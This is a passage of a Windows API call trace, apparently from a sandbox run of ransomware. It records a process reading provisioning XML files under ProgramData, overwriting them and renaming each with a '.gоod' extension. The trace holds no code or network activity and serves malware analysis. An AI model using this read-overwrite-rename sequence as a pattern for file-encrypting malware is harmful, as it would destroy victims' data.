lpNumberOfBytesWritten=0x1ffee1d8*=0x8c0, lpOverlapped=0x0) returned 1 [0119.207] CloseHandle (hObject=0x6e4) returned 1 [0119.207] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0119.207] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.gоod", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.gоod", lpFilePart=0x0) returned 0x64 [0119.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee300) returned 1 [0119.207] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x1ffee3e0 | out: lpFileInformation=0x1ffee3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fb24d6, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fb24d6, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x43453e57, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8c0)) returned 1 [0119.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee2c0) returned 1 [0119.207] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.gоod")) returned 1 [0119.208] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0119.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee340) returned 1 [0119.208] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x34fded8 | out: lpFileInformation=0x34fded8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f8c279, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f8c279, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f8c279, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f)) returned 1 [0119.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee300) returned 1 [0119.208] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1ffedcd0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0119.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee1f0) returned 1 [0119.208] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0119.208] GetFileType (hFile=0x6e4) returned 0x1 [0119.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee160) returned 1 [0119.208] GetFileType (hFile=0x6e4) returned 0x1 [0119.208] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1ffee398 | out: lpFileSizeHigh=0x1ffee398*=0x0) returned 0x10f [0119.209] ReadFile (in: hFile=0x6e4, lpBuffer=0x34fe310, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffee2c8, lpOverlapped=0x0 | out: lpBuffer=0x34fe310*, lpNumberOfBytesRead=0x1ffee2c8*=0x10f, lpOverlapped=0x0) returned 1 [0119.506] CloseHandle (hObject=0x6e4) returned 1 [0120.378] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1ffedcd0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0120.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee1f0) returned 1 [0120.378] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\masterdatastore.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0120.380] GetFileType (hFile=0x6e8) returned 0x1 [0120.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee160) returned 1 [0120.381] GetFileType (hFile=0x6e8) returned 0x1 [0120.381] WriteFile (in: hFile=0x6e8, lpBuffer=0x34d3958*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1ffee1d8, lpOverlapped=0x0 | out: lpBuffer=0x34d3958*, lpNumberOfBytesWritten=0x1ffee1d8*=0x110, lpOverlapped=0x0) returned 1 [0120.381] CloseHandle (hObject=0x6e8) returned 1 [0120.382] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0120.382] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml.gоod", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml.gоod", lpFilePart=0x0) returned 0x65 [0120.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee300) returned 1 [0120.382] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x1ffee3e0 | out: lpFileInformation=0x1ffee3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f8c279, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f8c279, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x43f82c8b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0120.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee2c0) returned 1 [0120.382] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\masterdatastore.xml.gоod")) returned 1 [0120.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffedb60) returned 1 [0120.383] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov", nBufferLength=0x105, lpBuffer=0x1ffed600, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov", lpFilePart=0x0) returned 0x51 [0120.383] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\*", lpFindFileData=0x1ffed880 | out: lpFindFileData=0x1ffed880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0121.199] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.199] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0121.204] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66020, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66020, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66020, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0121.204] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.204] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0121.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffedaa0) returned 1 [0121.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeda60) returned 1 [0121.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffedb60) returned 1 [0121.204] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov", nBufferLength=0x105, lpBuffer=0x1ffed600, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov", lpFilePart=0x0) returned 0x51 [0121.204] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\*", lpFindFileData=0x1ffed880 | out: lpFindFileData=0x1ffed880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0121.205] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.205] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0121.205] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66020, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66020, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66020, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0121.205] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66020, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66020, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66020, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0121.205] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0121.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffedaa0) returned 1 [0121.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeda60) returned 1 [0121.205] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1ffed440, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0121.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed910) returned 1 [0121.205] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x3542488 | out: lpFileInformation=0x3542488*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66020, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66020, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66020, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc)) returned 1 [0121.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed8d0) returned 1 [0121.208] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1ffed2a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0121.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed7c0) returned 1 [0121.208] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0121.208] GetFileType (hFile=0x7c8) returned 0x1 [0121.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed730) returned 1 [0121.208] GetFileType (hFile=0x7c8) returned 0x1 [0121.208] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1ffed968 | out: lpFileSizeHigh=0x1ffed968*=0x0) returned 0x1cc [0121.208] ReadFile (in: hFile=0x7c8, lpBuffer=0x35434b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffed898, lpOverlapped=0x0 | out: lpBuffer=0x35434b8*, lpNumberOfBytesRead=0x1ffed898*=0x1cc, lpOverlapped=0x0) returned 1 [0121.209] CloseHandle (hObject=0x7c8) returned 1 [0121.316] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1ffed2a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0121.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed7c0) returned 1 [0121.316] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0121.536] GetFileType (hFile=0x7c8) returned 0x1 [0121.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed730) returned 1 [0121.536] GetFileType (hFile=0x7c8) returned 0x1 [0121.817] WriteFile (in: hFile=0x7c8, lpBuffer=0x3657d50*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x1ffed7a8, lpOverlapped=0x0 | out: lpBuffer=0x3657d50*, lpNumberOfBytesWritten=0x1ffed7a8*=0x1d0, lpOverlapped=0x0) returned 1 [0121.818] CloseHandle (hObject=0x7c8) returned 1 [0121.818] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1ffed440, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0121.818] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml.gоod", nBufferLength=0x105, lpBuffer=0x1ffed440, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml.gоod", lpFilePart=0x0) returned 0x62 [0121.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed8d0) returned 1 [0121.818] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x1ffed9b0 | out: lpFileInformation=0x1ffed9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66020, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66020, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x44d384d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0121.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed890) returned 1 [0121.818] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime.xml.gоod")) returned 1 [0121.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed130) returned 1 [0121.819] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1ffecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0121.819] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\*", lpFindFileData=0x1ffece50 | out: lpFindFileData=0x1ffece50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0121.820] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.820] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66020, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x663, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0121.820] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.820] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0121.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed070) returned 1 [0121.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed030) returned 1 [0121.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed130) returned 1 [0121.820] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1ffecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0121.820] FindFirstFileW (in: 